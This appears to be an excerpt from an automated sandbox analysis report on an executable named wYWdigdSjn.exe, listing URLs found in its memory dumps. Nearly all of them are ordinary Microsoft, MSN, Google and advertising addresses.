Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348394370.00000000060C8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnYSFZ.img?h=16&w=16&m
Source: wYWdigdSjn.exe, 00000001.00000003.426520500.0000000006478000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359581349.0000000006489000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com
Source: wYWdigdSjn.exe, 00000001.00000003.300911627.0000000005518000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266464556.0000000004498000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.296051579.0000000005517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/
Source: wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/?ocid=iehp
Source: wYWdigdSjn.exe, 00000001.00000003.294609254.0000000005630000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262381480.0000000004451000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.336854989.0000000004668000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262504940.0000000004458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehp
Source: wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/consent/55a804
Source: wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/scripttemplate
Source: wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4476872748356;g
Source: wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=68568119166
Source: wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=1463674
Source: wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=6856811916691;gt
Source: wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=6856811916691;gtm=
Source: wYWdigdSjn.exe, 00000001.00000003.348767400.0000000005A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
Source: wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348020222.0000000006109000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.298315948.0000000004690000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360938321.00000000064E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288753222.0000000004658000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348767400.0000000005A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingth
Source: wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288105390.000000000550F000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348673323.0000000006049000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amp.azure.net/libs/amp/1.8.0/azuremediaplayer.min.js
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC54c8a2b02c3446f48a60b41e8a5ff47
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC5bdddb231cf54f958a5b6e76e9d8eee
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC828bc1cde9f04b788c98b5423157734
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC9b2d2bc73c8a4a1d8dd5c3d69b6634a
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc13122162a9a46c3b4cbf05ffccde0f
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc71c68d7b8f049b6a6f3b669bd5d00c
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCee0d4d5fd4424c8390d703b105f82c3
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCfd484f9188564713bbc5d13d862ebbf
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://assets.adobedtm.com/launch-EN7b3d710ac67a4a1195648458258f97dd.min.js
Source: wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://az416426.vo.msecnd.net/scripts/a/ai.0.js
Source: wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://az725175.vo.msecnd.net/scripts/jsll-4.js
Source: wYWdigdSjn.exe, 00000001.00000003.300911627.0000000005518000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266464556.0000000004498000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.296051579.0000000005517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/
Source: wYWdigdSjn.exe, 00000001.00000003.348138764.00000000060E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/48/nrrV18753.js
Source: wYWdigdSjn.exe, 00000001.00000003.424990552.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/803288796/fcmain.js?&gdpr=0&cid=8CU157172&cpcd=pC3JHgSCqY8UHihgrvGr0A%3
Source: wYWdigdSjn.exe, 00000001.00000003.348138764.00000000060E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: wYWdigdSjn.exe, 00000001.00000003.424990552.00000000060E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1
Source: wYWdigdSjn.exe, 00000001.00000003.424990552.00000000060E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348138764.00000000060E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cvision.media.net/new/300x300/3/167/174/27/39ab3103-8560-4a55-bfc4-401f897cf6f2.jpg?v=9
Source: wYWdigdSjn.exe, 00000001.00000003.347980368.0000000006148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/repo
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.424893873.00000000060A8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: wYWdigdSjn.exe, 00000001.00000003.278422028.00000000045AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD3B6173
Source: wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Google
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v16/4UaGrENHsxJlGDuGo1OIlI3K.woff
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v16/4UabrENHsxJlGDuGo1OIlLU94bt3.woff
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmEU9vAA.woff
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Me5g.woff
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.424893873.00000000060A8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location
Source: wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml
Source: wYWdigdSjn.exe, 00000001.00000003.379080778.0000000004748000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE
Source: wYWdigdSjn.exe, 00000001.00000003.424654069.0000000006088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Source: wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4DnuZ
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4Dnv6
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4Dnwt
Source: wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4DsDH
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmQ
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmV
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmZ
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FGwC
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4n1yl
Source: wYWdigdSjn.exe, 00000001.00000003.424654069.0000000006088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4n4cm
Source: wYWdigdSjn.exe, 00000001.00000003.424654069.0000000006088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ncJ7
Source: wYWdigdSjn.exe, 00000001.00000003.424654069.0000000006088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ncJa
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4nqTh
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4sQww?ver=37ff
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tD2S
Source: wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tG3O
Source: wYWdigdSjn.exe, 00000001.00000003.424654069.0000000006088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tIoW
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tIoY
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tKUA
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tMOD
Source: wYWdigdSjn.exe, 00000001.00000003.379080778.0000000004748000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tMOM
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tQVa
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4u1kF
Source: wYWdigdSjn.exe, 00000001.00000003.379080778.0000000004748000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ubMD
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4wqj5
Source: wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4zuiC
Source: wYWdigdSjn.exe, 00000001.00000003.298315948.0000000004690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
Source: wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1601452923&rver=6.0.5286.0&wp=MBI_SSL&wre
Source: wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e
Source: wYWdigdSjn.exe, 00000001.00000003.268478480.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.268985337.00000000046E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://logincdn.msauth.net/16.000.28666.10/content/images/ellipsis_white_5ac590ee72bfe06a7cecfd75b5
Source: wYWdigdSjn.exe, 00000001.00000003.268478480.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.268985337.00000000046E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://logincdn.msauth.net/16.000.28666.10/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc1937
Source: wYWdigdSjn.exe, 00000001.00000003.268478480.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.278176788.00000000046E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v21033_-0mnSwu67knBd7qR7YN9GQ2.css
Source: wYWdigdSjn.exe, 00000001.00000003.268478480.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.268985337.00000000046E1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.278176788.00000000046E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en_5QoHC_ilFOmb96M0pIeJ
Source: wYWdigdSjn.exe, 00000001.00000003.268478480.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.268985337.00000000046E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/OldConvergedLogin_PCore_xqcDwEKeDux9oCNjuqEZ-A2.js
Source: wYWdigdSjn.exe, 00000001.00000003.268478480.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.268985337.00000000046E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://maps.windows.com/windows-app-web-link
Source: wYWdigdSjn.exe, 00000001.00000003.424893873.00000000060A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mwf-service.akamaized.net/mwf/css/bundle/1.57.0/west-european/default/mwf-main.min.css
Source: wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mwf-service.akamaized.net/mwf/js/bundle/1.57.0/mwf-auto-init-main.var.min.js
Source: wYWdigdSjn.exe, 00000001.00000003.268478480.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.268985337.00000000046E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2020-07-24-17-35-16/PreSignInSettingsConfig.json?One
Source: wYWdigdSjn.exe, 00000001.00000003.268478480.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.268985337.00000000046E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/20.124.0621.0006/update10.xml?OneDriveUpdate=79d8737dc86cbccc6833c
Source: wYWdigdSjn.exe, 00000001.00000003.268478480.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.278176788.00000000046E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onecs-live.azureedge.net/api/settings/en-US/xml/settings-tipset?release=rs4
Source: wYWdigdSjn.exe, 00000001.00000003.378701097.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361923862.0000000006580000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426168776.00000000063C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361701632.00000000065C0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.386505819.00000000057A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360356031.00000000064B1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361819935.00000000065A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.349615261.00000000061D1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361718418.0000000006581000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361245745.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333168870.0000000004780000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420731155.0000000005438000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420970982.0000000005718000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347624685.00000000057A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359978543.0000000006471000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361476520.00000000065C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352229984.00000000063C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pki.goog/repository/0
Source: wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://prod-video-cms-rt-microsoft-com.akamaized.net/vhs/api/videos/RE4sQBc
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://srtb.msn.com/auction?a=de-ch&b=a8415ac9f9644a1396bc1648a4599445&c=MSN&d=http%3A%2F%2Fwww.msn
Source: wYWdigdSjn.exe, 00000001.00000003.288105390.000000000550F000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348673323.0000000006049000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://statics-marketingsites-neu-ms-com.akamaized.net/statics/override.css?c=7
